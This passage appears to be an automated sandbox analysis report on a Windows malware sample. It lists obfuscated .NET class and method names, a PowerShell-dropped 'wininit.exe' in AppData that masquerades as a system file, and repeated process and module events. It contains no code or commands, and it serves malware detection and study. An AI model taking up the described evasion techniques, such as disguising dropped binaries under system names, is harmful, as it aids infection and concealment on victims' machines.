Source: 6.2.wininit.exe.6db0000.5.raw.unpack, wtca6eCuhSEXbwj87j.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'NPhBk6IATb', 'NUrBXV5rDr', 'w4vBzP3VTO', 'Fum8R26vkD', 'BSQ8UGxs3m', 'FAr8ByJM0s', 'KyD88tXy3T', 'HwpHMYNZUsK33x2B4cE'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, Y1v65cTfYUkeaqQPAC.cs	High entropy of concatenated method names: 'Dispose', 'xaYUki41xL', 'hXyBuxl6Ko', 'sWJJotluKH', 'NwmUXu8WJh', 'n33Uzq0LEr', 'ProcessDialogKey', 'eg6BR76f1h', 'lmIBU3Lkqh', 'k4kBBdXxk4'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, Urg7ubUUcCev0u1dT4r.cs	High entropy of concatenated method names: 'x1jcXgXCGN', 'fvScz1QqAG', 'XKdfRDMKeD', 'LkffUlITX0', 'gnrfBIBAS5', 'AUdf8iyEhN', 'OqwfeZeTlt', 'XAwfvt7blr', 'PnmfKyehow', 'jKVfTiMyVU'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, e7gKPApuQs0EWyVG9T.cs	High entropy of concatenated method names: 'YtHQ1avdnI', 'sCKQEBr9Vg', 'RWkQYVTVi9', 'ToString', 'plbQDysEAl', 'QkLQSVFMsJ', 'tyg4QgZnFbC608q3Vvw', 'upiOboZCPTUWbVTJlXN', 'Gr55C2Z22jsqV8xooje'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, ywjJDxuXXl5HvcWFju.cs	High entropy of concatenated method names: 'jd1XQnZrwVnLTEDCpNd', 'KywlMNZsQBmADPfNGNl', 'EO5xIiZj2NflMbVFU0Z', 'bmHQjhGy3F', 'nonQdcl1E2', 'QAuQcAH5On', 'J0YoVWZ0gtheKhdG88p', 'Cx56OgZEqBuvdXaLqeJ', 'i4yDHfZGP0q4hERawKj'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, BE5k0LFu5KnoWIB8ne.cs	High entropy of concatenated method names: 'QPjT47v345', 'bMaTO5YD1n', 'qL4T1ROcj5', 'B15TEN4D6d', 'noKTY6WZW0', 'KIATDaS7hq', 'wqZTSXrG3c', 'UUKTWm9AvU', 'JPFTkkWlg3', 'zCGTXs1q8C'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, hlfKZ6407CBnHJSie5.cs	High entropy of concatenated method names: 'Q4eMPdDINF', 'dABMaa0v9G', 'm1iM46hmGb', 'F35MOwisjH', 'gV1MuYpY1I', 'NEEM9yiVrf', 'T49MmVVXB8', 'vepMttiwtX', 'mSgMp2U8YB', 'OrnM5Qgsgs'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, mO72Zbe7qFQORHthPZ.cs	High entropy of concatenated method names: 'IGyUiE5k0L', 'H5KUnnoWIB', 'BwMUVrPC2x', 'pIhUqlJdZP', 'PPIUMX2ehK', 'HKbUZqZASI', 'DrLniM6qODKrhYmosh', 'nIUaEjW6YOpveRetEf', 'lhUUUXaivS', 'm33U8VTlfn'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, BwnBSkUenCTHkiiG70o.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 't9EwdUeNcg', 'GcswcCxhlR', 'javwf2GxHL', 'M0CwwEMwtd', 'Q2vw2fUeVe', 'b1uwLEqNHF', 'ty2w6esgdc'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, kvk9jqBMEXOK4a7rYr.cs	High entropy of concatenated method names: 'UuhxF135Y', 'XnebOGXXx', 'gxo3kDLoB', 'IZJ0qtrjN', 'ArxhXNkJK', 'HajJcBQ7r', 'n91mUTemEhJ9mZBp51', 'RNVkhEo862ysWOUwJ8', 'K5EjtOTxM', 'YgrcQvyG5'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, iWse1KSS7gaYi41xLP.cs	High entropy of concatenated method names: 'K0RdMuvAqt', 'BmMdIEKRT2', 'RJfddnVaQa', 'fcWdf4WTkd', 'FJpd2JdMAg', 'XKNd6ZbKD7', 'Dispose', 'S0pjKughCJ', 'Jr6jTQ28or', 'sGujCe3UVH'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, eqDwEc5eNbqOMrRccw.cs	High entropy of concatenated method names: 'wsUiKpO8LJ', 'mKeiCuOl5m', 'c76iQWyI7L', 'dG5QXo2Ph5', 's31QzmMPm6', 'tdCiRDR4Xc', 'uVniU0FJwJ', 'vCpiBNnNh2', 'C33i8WyDuh', 'C2FienmEHx'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, lBiWxolWI4mIKrpo6Q.cs	High entropy of concatenated method names: 'c6sigqBTbc', 'bA5iHPDRJZ', 'nVIix7HMEI', 'lu8ibUgJBG', 'xQBiyYxTKA', 'Uu3i30xC8r', 'tkNi0FhmID', 'g94iF3DidF', 'LljihX3H7C', 'EeQiJ9voDB'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, eenOKjUBoGmHCNGsevJ.cs	High entropy of concatenated method names: 'ToString', 'dynfFoMNSH', 'NPbfhRtonL', 'EsyfJMHbTy', 'SVXfNgrEu2', 'gXWfupVDI1', 'SHPf95laLM', 'jw8fm0999e', 'fKvmhvcqCxomhRmxrhd', 'yiGgBXc63lwjv54kfh4'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, urCQEP7xb0Mxs3L7dv.cs	High entropy of concatenated method names: 'RvKAFRNiNm', 'LurAhHQlM9', 'T4WANS9Td2', 'zsCAu6BpFD', 'rgOAmBGW2g', 'rqsAtd3WxD', 'soHA5yy9T5', 'ydbAoD9Y2p', 'hKxAPfH77o', 'nuVAs99LcQ'
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, x76f1hkrmI3Lkqhn4k.cs	High entropy of concatenated method names: 'E0fdNAeGf6', 'b0Idu8bJEp', 'twmd91E48s', 'oKldmWYHus', 'MhbdtHQOm8', 'RPXdp8Pfdb', 'ArPd5HbWfX', 'Uw5doQYgDG', 'QX0dlENjSW', 'cr1dPT1aQr'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, KQkH3in3AYxtB1JkcI.cs	High entropy of concatenated method names: 'gwb8vauN76', 'coJ8KZpJSC', 'fZs8T6XHIb', 'uqG8CFeqcY', 'Xrh8GBbB4F', 'F5A8QvMX8N', 'Mhg8iMMyDK', 'IwJ8nhpBnt', 'ppo8rHM5l3', 'zKB8VcEgFn'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, BDLA7ZzmjyZeMHspbI.cs	High entropy of concatenated method names: 'pYcc3qb4LP', 'iVMcFnRmTf', 'kjSch2OmFh', 'dPKcNtftA0', 'ep5cukejfW', 'DLtcmCOIuX', 'lWKctS9MXy', 'aH8c6uleZm', 'Py5cgNOThj', 'aoVcHMdwZP'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, dhK9KbNqZASI81hGMI.cs	High entropy of concatenated method names: 'sfGQv3qveH', 'Gk1QTJCxla', 'PF0QGPZ0c9', 'ecJQiiiaj1', 'k6KQn6iR71', 'XSqGYjTQNd', 'dr0GDj07xW', 'z70GSox8Zc', 'UUbGWZII6b', 'n2XGkeHKAq'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, eWbKPQURAh7q0dXmWQa.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'g6Ics1b5Q4', 'lHScanO8Hq', 'nGHc7Kj1b4', 'Nkvc4EEFTo', 'W1ncOKfXll', 'RBGc1YrhiV', 'W60cEbFZA3'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, blpmsJDcqDTfApNEE9.cs	High entropy of concatenated method names: 'sXHIWBvUB1', 'gM3IXliyxi', 'LAkjRqtjrT', 'irsjUBXqk4', 'suWIscc6eO', 'adBIa4DbBY', 'bhgI7Ap3yt', 'JJPI44IQ2E', 'x1FIOfmaQo', 'J1LI18bvGD'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, asC2VyhwMrPC2xZIhl.cs	High entropy of concatenated method names: 'ARKCb4vRER', 'PfqC3SbNpI', 'gFNCFAwu0h', 'N7QChL3WU5', 'egwCMgpiYw', 'gXBCZhOmb9', 'HiyCI68I54', 'NnfCj0kphm', 'uQfCdb2Dm9', 'VKQCcjYmRN'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, rXxk4UXv0hG6nJr2r4.cs	High entropy of concatenated method names: 'NY8cCHPCTo', 'v1YcGMuL0j', 'PlDcQ98GnS', 'gHrci7Rn0Y', 'LTtcdZa6tk', 'WgxcnQGGAx', 'Next', 'Next', 'Next', 'NextBytes'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, wtca6eCuhSEXbwj87j.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'NPhBk6IATb', 'NUrBXV5rDr', 'w4vBzP3VTO', 'Fum8R26vkD', 'BSQ8UGxs3m', 'FAr8ByJM0s', 'KyD88tXy3T', 'HwpHMYNZUsK33x2B4cE'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, Y1v65cTfYUkeaqQPAC.cs	High entropy of concatenated method names: 'Dispose', 'xaYUki41xL', 'hXyBuxl6Ko', 'sWJJotluKH', 'NwmUXu8WJh', 'n33Uzq0LEr', 'ProcessDialogKey', 'eg6BR76f1h', 'lmIBU3Lkqh', 'k4kBBdXxk4'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, Urg7ubUUcCev0u1dT4r.cs	High entropy of concatenated method names: 'x1jcXgXCGN', 'fvScz1QqAG', 'XKdfRDMKeD', 'LkffUlITX0', 'gnrfBIBAS5', 'AUdf8iyEhN', 'OqwfeZeTlt', 'XAwfvt7blr', 'PnmfKyehow', 'jKVfTiMyVU'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, e7gKPApuQs0EWyVG9T.cs	High entropy of concatenated method names: 'YtHQ1avdnI', 'sCKQEBr9Vg', 'RWkQYVTVi9', 'ToString', 'plbQDysEAl', 'QkLQSVFMsJ', 'tyg4QgZnFbC608q3Vvw', 'upiOboZCPTUWbVTJlXN', 'Gr55C2Z22jsqV8xooje'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, ywjJDxuXXl5HvcWFju.cs	High entropy of concatenated method names: 'jd1XQnZrwVnLTEDCpNd', 'KywlMNZsQBmADPfNGNl', 'EO5xIiZj2NflMbVFU0Z', 'bmHQjhGy3F', 'nonQdcl1E2', 'QAuQcAH5On', 'J0YoVWZ0gtheKhdG88p', 'Cx56OgZEqBuvdXaLqeJ', 'i4yDHfZGP0q4hERawKj'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, BE5k0LFu5KnoWIB8ne.cs	High entropy of concatenated method names: 'QPjT47v345', 'bMaTO5YD1n', 'qL4T1ROcj5', 'B15TEN4D6d', 'noKTY6WZW0', 'KIATDaS7hq', 'wqZTSXrG3c', 'UUKTWm9AvU', 'JPFTkkWlg3', 'zCGTXs1q8C'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, hlfKZ6407CBnHJSie5.cs	High entropy of concatenated method names: 'Q4eMPdDINF', 'dABMaa0v9G', 'm1iM46hmGb', 'F35MOwisjH', 'gV1MuYpY1I', 'NEEM9yiVrf', 'T49MmVVXB8', 'vepMttiwtX', 'mSgMp2U8YB', 'OrnM5Qgsgs'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, mO72Zbe7qFQORHthPZ.cs	High entropy of concatenated method names: 'IGyUiE5k0L', 'H5KUnnoWIB', 'BwMUVrPC2x', 'pIhUqlJdZP', 'PPIUMX2ehK', 'HKbUZqZASI', 'DrLniM6qODKrhYmosh', 'nIUaEjW6YOpveRetEf', 'lhUUUXaivS', 'm33U8VTlfn'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, BwnBSkUenCTHkiiG70o.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 't9EwdUeNcg', 'GcswcCxhlR', 'javwf2GxHL', 'M0CwwEMwtd', 'Q2vw2fUeVe', 'b1uwLEqNHF', 'ty2w6esgdc'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, kvk9jqBMEXOK4a7rYr.cs	High entropy of concatenated method names: 'UuhxF135Y', 'XnebOGXXx', 'gxo3kDLoB', 'IZJ0qtrjN', 'ArxhXNkJK', 'HajJcBQ7r', 'n91mUTemEhJ9mZBp51', 'RNVkhEo862ysWOUwJ8', 'K5EjtOTxM', 'YgrcQvyG5'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, iWse1KSS7gaYi41xLP.cs	High entropy of concatenated method names: 'K0RdMuvAqt', 'BmMdIEKRT2', 'RJfddnVaQa', 'fcWdf4WTkd', 'FJpd2JdMAg', 'XKNd6ZbKD7', 'Dispose', 'S0pjKughCJ', 'Jr6jTQ28or', 'sGujCe3UVH'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, eqDwEc5eNbqOMrRccw.cs	High entropy of concatenated method names: 'wsUiKpO8LJ', 'mKeiCuOl5m', 'c76iQWyI7L', 'dG5QXo2Ph5', 's31QzmMPm6', 'tdCiRDR4Xc', 'uVniU0FJwJ', 'vCpiBNnNh2', 'C33i8WyDuh', 'C2FienmEHx'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, lBiWxolWI4mIKrpo6Q.cs	High entropy of concatenated method names: 'c6sigqBTbc', 'bA5iHPDRJZ', 'nVIix7HMEI', 'lu8ibUgJBG', 'xQBiyYxTKA', 'Uu3i30xC8r', 'tkNi0FhmID', 'g94iF3DidF', 'LljihX3H7C', 'EeQiJ9voDB'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, eenOKjUBoGmHCNGsevJ.cs	High entropy of concatenated method names: 'ToString', 'dynfFoMNSH', 'NPbfhRtonL', 'EsyfJMHbTy', 'SVXfNgrEu2', 'gXWfupVDI1', 'SHPf95laLM', 'jw8fm0999e', 'fKvmhvcqCxomhRmxrhd', 'yiGgBXc63lwjv54kfh4'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, urCQEP7xb0Mxs3L7dv.cs	High entropy of concatenated method names: 'RvKAFRNiNm', 'LurAhHQlM9', 'T4WANS9Td2', 'zsCAu6BpFD', 'rgOAmBGW2g', 'rqsAtd3WxD', 'soHA5yy9T5', 'ydbAoD9Y2p', 'hKxAPfH77o', 'nuVAs99LcQ'
Source: 6.2.wininit.exe.374d400.1.raw.unpack, x76f1hkrmI3Lkqhn4k.cs	High entropy of concatenated method names: 'E0fdNAeGf6', 'b0Idu8bJEp', 'twmd91E48s', 'oKldmWYHus', 'MhbdtHQOm8', 'RPXdp8Pfdb', 'ArPd5HbWfX', 'Uw5doQYgDG', 'QX0dlENjSW', 'cr1dPT1aQr'

Persistence and Installation Behavior

Drops PE files with benign system names

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\wininit.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\wininit.exe	File created: C:\Users\user\AppData\Roaming\188E93\31437F.exe (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\wininit.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\caspol[1].exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
